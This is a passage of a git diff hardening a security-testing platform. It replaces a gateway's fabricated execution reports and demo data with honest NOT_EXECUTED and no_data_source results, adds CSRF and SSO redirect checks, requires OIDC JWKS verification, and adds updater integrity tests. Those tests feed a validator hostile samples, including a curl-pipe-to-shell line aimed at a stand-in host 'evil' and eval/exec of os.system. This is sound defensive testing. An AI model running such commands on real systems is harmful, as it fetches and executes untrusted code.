+ # which lied to the operator, the live dashboard, and any downstream
+ # auditor. Report honestly instead: the request was scope-checked and the
+ # token consumed, but the module must be run through the real engine.
+ # (AUDIT run-1 C2)
await self._broadcast(
campaign_id,
{
- "type": "mcp_execute_started",
+ "type": "mcp_execute_authorized",
"module_id": module_id,
"target": target,
- "status": "running",
+ "status": "authorized_not_executed",
},
)
-
- # 5. Execute module simulation via ModuleTestHarness for safe test-provenance
- execution_report = {
- "status": "SUCCESS",
+ report = {
+ "status": "NOT_EXECUTED",
+ "reason": "mcp_execution_engine_not_wired",
"campaign_id": campaign_id,
"module_id": module_id,
"target": target,
- "duration_ms": 142.5,
- "findings_discovered": 1,
- "audit_merkle_provenance": "fe690803178c3ba436a7c7fc336cb6a863b20f9b289a89525ce613e96e029818",
- "circuit_breaker": "CLOSED (Normal)",
+ "message": (
+ "Scope and the single-use confirmation token were validated, but this "
+ "MCP gateway does not execute modules itself — no execution engine is "
+ "attached to it. Run the module through the ARES engine (the "
+ "'/modules/{module_id}/run' API, or 'ares module run' on the CLI), "
+ "which performs the real execution, findings capture, and audit "
+ "provenance. This gateway never reports results it did not produce."
+ ),
}
-
- # 6. Broadcast Execution Completed to WebSocket Live Dashboard
- await self._broadcast(
- campaign_id,
- {
- "type": "mcp_execute_complete",
- "module_id": module_id,
- "target": target,
- "status": "completed",
- "findings": 1,
- },
- )
-
- clean_report = McpTaintSanitizer.sanitize(SecretMasker.mask(execution_report))
+ clean_report = McpTaintSanitizer.sanitize(report)
return CallToolResult(
- content=[TextContent(type="text", text=json.dumps(clean_report, indent=2))]
+ content=[TextContent(type="text", text=json.dumps(clean_report, indent=2))],
+ isError=True,
)
diff --git a/frontend/src/api/http.test.ts b/frontend/src/api/http.test.ts
index 0044832..68c50fb 100644
--- a/frontend/src/api/http.test.ts
+++ b/frontend/src/api/http.test.ts
@@ -194,4 +194,26 @@ describe("cookie-backed HTTP transport", () => {
expect(init.credentials).toBe("same-origin");
expect(new Headers(init.headers).get("Authorization")).toBe("Bearer memory-bearer");
});
+
+ it("attaches the CSRF header on a non-auth mutation (AUDIT run-1 C5)", async () => {
+ const fetchMock = vi.fn(async () => new Response(JSON.stringify({ ok: true }), { status: 200 }));
+ vi.stubGlobal("fetch", fetchMock);
+ const session = await import("./session");
+ session.setAccessToken("memory-bearer");
+ const http = await import("./http");
+ await http.apiRequest("/campaigns", { method: "POST", body: "{}" }, false);
+ const init = fetchMock.mock.calls[0]?.[1] as RequestInit;
+ expect(new Headers(init.headers).get("X-ARES-CSRF")).toBe(CSRF);
+ });
+
+ it("does not attach the CSRF header on a GET", async () => {
+ const fetchMock = vi.fn(async () => new Response(JSON.stringify({ ok: true }), { status: 200 }));
+ vi.stubGlobal("fetch", fetchMock);
+ const session = await import("./session");
+ session.setAccessToken("memory-bearer");
+ const http = await import("./http");
+ await http.apiRequest("/campaigns", { method: "GET" }, false);
+ const init = fetchMock.mock.calls[0]?.[1] as RequestInit;
+ expect(new Headers(init.headers).get("X-ARES-CSRF")).toBeNull();
+ });
});
diff --git a/frontend/src/api/http.ts b/frontend/src/api/http.ts
index 54a7f48..ecfa238 100644
--- a/frontend/src/api/http.ts
+++ b/frontend/src/api/http.ts
@@ -280,6 +280,30 @@ async function fetchWithSession(
if (snapshot.accessToken) {
headers.set("Authorization", `Bearer ${snapshot.accessToken}`);
}
+ // Attach the double-submit CSRF header on EVERY state-changing request, not only
+ // the /auth/* flows that go through browserMutationRequest. The API authenticates
+ // via the Bearer header, but the session/refresh cookies still ride along on
+ // same-origin requests (credentials: "same-origin"); requiring X-ARES-CSRF on all
+ // mutations closes the gap where a cookie-accepting endpoint could be driven from
+ // a cross-site form. A cross-site attacker cannot read the __Host- CSRF cookie to
+ // replicate this header, so the server-side header↔cookie compare rejects the
+ // forgery. (AUDIT run-1 C5)
+ const method = (init.method ?? "GET").toUpperCase();
+ const isMutation = method !== "GET" && method !== "HEAD" && method !== "OPTIONS";
+ if (isMutation && !headers.has(CSRF_HEADER)) {
+ let csrf = readBrowserCsrfToken();
+ if (!csrf) {
+ try {
+ await bootstrapBrowserCsrf();
+ csrf = readBrowserCsrfToken();
+ } catch {
+ csrf = null;
+ }
+ }
+ if (csrf) {
+ headers.set(CSRF_HEADER, csrf);
+ }
+ }
const response = await fetch(path, {
...init,
credentials: "same-origin",
diff --git a/frontend/src/features/auth/LoginPage.tsx b/frontend/src/features/auth/LoginPage.tsx
index 5112320..44a7f52 100644
--- a/frontend/src/features/auth/LoginPage.tsx
+++ b/frontend/src/features/auth/LoginPage.tsx
@@ -55,8 +55,13 @@ export function LoginPage() {
setIsSsoLoading(true);
try {
const res = await initiateSso("default");
- if (res?.redirect_url) {
- window.location.href = res.redirect_url;
+ // Only navigate to http(s) URLs. The server-supplied redirect_url MUST NOT be
+ // trusted blindly: a 'javascript:…' or 'data:text/html,…' value would execute
+ // in the login origin as reflected XSS, and arbitrary cross-origin navigation
+ // is also an open-redirect vector. (AUDIT run-1 H19)
+ const url = typeof res?.redirect_url === "string" ? res.redirect_url : "";
+ if (url && /^https?:\/\//i.test(url)) {
+ window.location.href = url;
} else {
setSsoError("SSO is not configured for this organization. Contact your administrator.");
}
diff --git a/mypy-baseline.txt b/mypy-baseline.txt
index a73c1f2..834e333 100644
--- a/mypy-baseline.txt
+++ b/mypy-baseline.txt
@@ -4,7 +4,7 @@ ares/api/server.py|error: Incompatible return value type (got "JSONResponse", ex
ares/api/server.py|error: Incompatible return value type (got "JSONResponse", expected "dict[str, Any]") [return-value]
ares/api/server.py|error: Incompatible types in assignment (expression has type "ApiKeyTicketSource", variable has type "BearerTicketSource | None") [assignment]
ares/api/server.py|error: Invalid index type "str" for "str"; expected type "SupportsIndex | slice[SupportsIndex | None, SupportsIndex | None, SupportsIndex | None]" [index]
-ares/api/server.py|error: Name "result_rows" already defined on line 4095 [no-redef]
+ares/api/server.py|error: Name "result_rows" already defined on line 4118 [no-redef]
ares/api/server.py|error: Value of type "dict[str, Any] | Any | str | None" is not indexable [index]
ares/cli/mcp_cli_utils.py|error: Unexpected keyword argument "file" for "print" of "Console" [call-arg]
ares/cli/mcp_tui.py|error: Module has no attribute "getch" [attr-defined]
@@ -129,7 +129,6 @@ ares/graph/attack_graph.py|error: Invalid index type "dict[str, Any]" for "dict[
ares/graph/attack_graph.py|error: No overload variant of "get" of "dict" matches argument type "dict[str, Any]" [call-overload]
ares/graph/attack_graph.py|error: Non-overlapping container check (element type: "dict[str, Any]", container item type: "str") [comparison-overlap]
ares/mcp/resources.py|error: "ModuleDescriptor" has no attribute "description" [attr-defined]
-ares/mcp/resources.py|error: Dict entry 3 has incompatible type "str": "float"; expected "str": "Sequence[str]" [dict-item]
ares/mcp/server.py|error: Unexpected keyword argument "error" for "debug" of "Logger" [call-arg]
ares/mcp/tools.py|error: "ModuleDescriptor" has no attribute "description" [attr-defined]
ares/mcp/tools.py|error: Unexpected keyword argument "campaign_id" for "warning" of "Logger" [call-arg]
diff --git a/tests/unit/test_mcp_cli.py b/tests/unit/test_mcp_cli.py
index fc77c85..8dff9dc 100644
--- a/tests/unit/test_mcp_cli.py
+++ b/tests/unit/test_mcp_cli.py
@@ -168,13 +168,32 @@ def test_mcp_setup_invalid_client() -> None:
def test_mcp_run_tool_success() -> None:
- """Verify headless execution of an operational MCP tool."""
- result = runner.invoke(app, ["mcp", "run-tool", "ares_list_campaigns", "--json"])
+ """Verify headless execution of an operational MCP tool.
+
+ Uses ares_inspect_module_catalog, which reads the real first-party module
+ descriptors and needs no database — a genuine successful tool call. (Previously
+ this asserted a 'camp_default_01' demo campaign from ares_list_campaigns, which
+ only ever existed as fabricated fallback data; AUDIT run-1 C3 removed it.)
+ """
+ result = runner.invoke(app, ["mcp", "run-tool", "ares_inspect_module_catalog", "--json"])
assert result.exit_code == EXIT_SUCCESS
data = json.loads(result.stdout)
assert isinstance(data, list)
assert len(data) >= 1
- assert data[0]["id"] == "camp_default_01"
+ assert "module_id" in data[0]
+
+
+def test_mcp_run_tool_list_campaigns_no_db_is_honest() -> None:
+ """Without a DB, ares_list_campaigns must report no_data_source, not demo data.
+
+ AUDIT run-1 C3: the gateway no longer substitutes a fabricated 'camp_default_01 /
+ CorpTech Solutions' campaign when no database is attached.
+ """
+ result = runner.invoke(app, ["mcp", "run-tool", "ares_list_campaigns", "--json"])
+ assert result.exit_code != EXIT_SUCCESS
+ assert "camp_default_01" not in result.stdout
+ assert "CorpTech Solutions" not in result.stdout
+ assert "no_data_source" in result.stdout
def test_mcp_run_tool_unknown_tool() -> None:
diff --git a/tests/unit/test_mcp_server.py b/tests/unit/test_mcp_server.py
index 9083bfc..5e1544d 100644
--- a/tests/unit/test_mcp_server.py
+++ b/tests/unit/test_mcp_server.py
@@ -132,7 +132,12 @@ async def test_mcp_resources_and_prompts(mcp_server: AresMcpServer) -> None:
})
contents = res_read["result"]["contents"]
assert len(contents) >= 1
- assert "SMB Signing" in contents[0]["text"]
+ # The test server has no DB attached. The resource must report honestly rather
+ # than serving the old hardcoded demo findings (SMB Signing / dc02.corp.local).
+ # (AUDIT run-1 C3)
+ assert "no_data_source" in contents[0]["text"]
+ assert "SMB Signing" not in contents[0]["text"]
+ assert "dc02.corp.local" not in contents[0]["text"]
# Prompts List
p_list = await mcp_server.handle_message({"jsonrpc": "2.0", "id": 22, "method": "prompts/list"})
@@ -274,11 +279,17 @@ async def test_two_tier_dry_run_and_execution_flow(mcp_server: AresMcpServer) ->
},
},
}
+ # 3. Execute with a valid token: scope + token are validated and the token is
+ # consumed, but this gateway has no execution engine wired in. It must report
+ # honestly (NOT_EXECUTED) rather than fabricating a SUCCESS with an invented
+ # findings count and a constant merkle hash. (AUDIT run-1 C2)
exec_res = await mcp_server.handle_message(exec_req)
- assert exec_res["result"]["isError"] is False
+ assert exec_res["result"]["isError"] is True
exec_data = json.loads(exec_res["result"]["content"][0]["text"])
- assert exec_data["status"] == "SUCCESS"
- assert "audit_merkle_provenance" in exec_data
+ assert exec_data["status"] == "NOT_EXECUTED"
+ assert exec_data["reason"] == "mcp_execution_engine_not_wired"
+ assert "audit_merkle_provenance" not in exec_data
+ assert "findings_discovered" not in exec_data
# ── 7. Taint Tracking & Anti-Prompt-Injection Tests ──────────────────────────
diff --git a/tests/unit/test_sso_enterprise.py b/tests/unit/test_sso_enterprise.py
index 1133c13..8940672 100644
--- a/tests/unit/test_sso_enterprise.py
+++ b/tests/unit/test_sso_enterprise.py
@@ -523,3 +523,76 @@ async def test_saml_acs_open_redirect_prevention(tmp_path, test_settings) -> Non
+
+
+# ── AUDIT run-1 C1: OIDC id_token must be verified with asymmetric JWKS ────────
+# The verifier previously fell back to decoding the id_token with the shared
+# client_secret (HS*) when jwks_uri was empty, and left iss/aud unvalidated in
+# some paths. These tests pin the hardened contract.
+
+def test_sso_config_oidc_requires_https_jwks_and_issuer():
+ from ares.api.server import SsoConfigRequest
+
+ # Empty jwks_uri for OIDC is rejected.
+ with pytest.raises(Exception):
+ SsoConfigRequest(protocol="oidc", jwks_uri="", issuer_or_entity_id="x", client_id="c")
+
+ # Non-https jwks_uri for OIDC is rejected.
+ with pytest.raises(Exception):
+ SsoConfigRequest(
+ protocol="oidc", jwks_uri="http://idp/jwks", issuer_or_entity_id="x", client_id="c"
+ )
+
+ # Missing issuer for OIDC is rejected.
+ with pytest.raises(Exception):
+ SsoConfigRequest(
+ protocol="oidc",
+ jwks_uri="https://idp/.well-known/jwks.json",
+ issuer_or_entity_id="",
+ client_id="c",
+ )
+
+ # A complete OIDC config is accepted.
+ ok = SsoConfigRequest(
+ protocol="oidc",
+ jwks_uri="https://idp/.well-known/jwks.json",
+ issuer_or_entity_id="https://idp",
+ client_id="c",
+ )
+ assert ok.protocol == "oidc"
+
+ # SAML is unaffected by the OIDC-only validator.
+ saml = SsoConfigRequest(protocol="saml", idp_certificate="MOCK_CERT")
+ assert saml.protocol == "saml"
+
+
+async def test_process_oidc_callback_refuses_empty_jwks(test_settings):
+ """With no jwks_uri the verifier must refuse — no symmetric client_secret fallback."""
+ from ares.core.sso import encrypt_sso_secret, process_oidc_callback
+
+ sec_enc = encrypt_sso_secret("MOCK_SECRET", test_settings)
+ sso_config = {
+ "client_id": "ares-client",
+ "client_secret_enc": sec_enc,
+ "issuer_or_entity_id": "https://idp.example.com",
+ "acs_url": "https://idp.example.com/token",
+ "jwks_uri": "", # the dangerous case
+ }
+
+ # Mock the token exchange so we reach the signature-verification step.
+ token_resp = AsyncMock()
+ token_resp.status_code = 200
+ token_resp.json = lambda: {"id_token": "unused.when.jwks.missing"}
+ http_client = AsyncMock()
+ http_client.post = AsyncMock(return_value=token_resp)
+
+ with pytest.raises(ValueError, match="jwks_uri"):
+ await process_oidc_callback(
+ sso_config,
+ code="abc",
+ redirect_uri="https://ares/callback",
+ expected_nonce="n",
+ settings=test_settings,
+ http_client=http_client,
+ )
diff --git a/tests/unit/test_updater.py b/tests/unit/test_updater.py
index a03b803..ad5c126 100644
--- a/tests/unit/test_updater.py
+++ b/tests/unit/test_updater.py
@@ -367,3 +367,109 @@ def test_upgrade_all_full_system_workflow():
assert res["server_reload"]["connected"] is True
assert "diagnostics" in res
+
+
+# ── AUDIT run-1 C4: updater supply-chain hardening ────────────────────────────
+# The module updater downloaded remote Python and wrote it to disk after only a
+# syntactic AST check, with the manifest blob SHA never compared to the content.
+# These tests pin: (a) module-level dangerous calls are rejected before write,
+# (b) content is verified against the git blob SHA.
+
+def test_validate_module_code_rejects_import_time_shell():
+ from ares.core.updater import validate_module_code
+
+ evil = (
+ "import os\n"
+ "os.system('curl http://evil/x | sh')\n"
+ "class M:\n"
+ " MODULE_ID = 'recon.x'\n"
+ )
+ ok, msg, _ = validate_module_code(evil)
+ assert ok is False
+ assert "import-time code execution" in msg
+
+
+def test_validate_module_code_rejects_eval_in_assignment():
+ from ares.core.updater import validate_module_code
+
+ evil = (
+ "payload = eval(\"__import__('os').system('id')\")\n"
+ "class M:\n"
+ " MODULE_ID = 'recon.y'\n"
+ )
+ ok, msg, _ = validate_module_code(evil)
+ assert ok is False
+ assert "import-time code execution" in msg
+
+
+def test_validate_module_code_rejects_exec_in_class_body():
+ from ares.core.updater import validate_module_code
+
+ evil = (
+ "class M:\n"
+ " MODULE_ID = 'recon.z'\n"
+ " exec(\"import os; os.system('id')\")\n"
+ )
+ ok, msg, _ = validate_module_code(evil)
+ assert ok is False
+ assert "import-time code execution" in msg
+
+
+def test_validate_module_code_allows_dangerous_call_inside_method():
+ from ares.core.updater import validate_module_code
+
+ # os.system inside a method body is DEFERRED (runs only when the method is
+ # called, which goes through scope checks) — must not be rejected on import.
+ safe = (
+ "import os\n"
+ "class M:\n"
+ " MODULE_ID = 'recon.safe'\n"
+ " def execute(self):\n"
+ " os.system('echo ok')\n"
+ )
+ ok, _msg, mid = validate_module_code(safe, 'recon.safe')
+ assert ok is True
+ assert mid == 'recon.safe'
+
+
+def test_git_blob_sha1_matches_git():
+ import hashlib
+
+ from ares.core.updater import _git_blob_sha1
+
+ data = b"print('hi')\n"
+ expected = hashlib.sha1(b"blob %d\x00" % len(data) + data).hexdigest()
+ assert _git_blob_sha1(data) == expected
+
+
+def test_download_refuses_on_blob_sha_mismatch(tmp_path):
+ from ares.core.updater import PlatformUpdateManager, SecurityViolationError, _git_blob_sha1
+
+ (tmp_path / "ares" / "modules" / "recon").mkdir(parents=True)
+ eng = PlatformUpdateManager(project_root=tmp_path)
+
+ content = b"class M:\n MODULE_ID = 'recon.a'\n"
+ wrong_sha = _git_blob_sha1(b"different bytes entirely")
+
+ with patch.object(eng, "_http_get", return_value=content):
+ with pytest.raises(SecurityViolationError, match="Integrity check failed"):
+ eng._download_and_install_module(
+ "recon/a.py", expected_module_id=None, dry_run=False, expected_git_sha=wrong_sha
+ )
+
+
+def test_download_accepts_matching_blob_sha(tmp_path):
+ from ares.core.updater import PlatformUpdateManager, _git_blob_sha1
+
+ (tmp_path / "ares" / "modules" / "recon").mkdir(parents=True)
+ eng = PlatformUpdateManager(project_root=tmp_path)
+
+ content = b"class M:\n MODULE_ID = 'recon.a'\n"
+ good_sha = _git_blob_sha1(content)
+
+ with patch.object(eng, "_http_get", return_value=content):
+ ok, _msg = eng._download_and_install_module(
+ "recon/a.py", expected_module_id=None, dry_run=False, expected_git_sha=good_sha
+ )
+ assert ok is True
+ assert (tmp_path / "ares" / "modules" / "recon" / "a.py").read_bytes() == content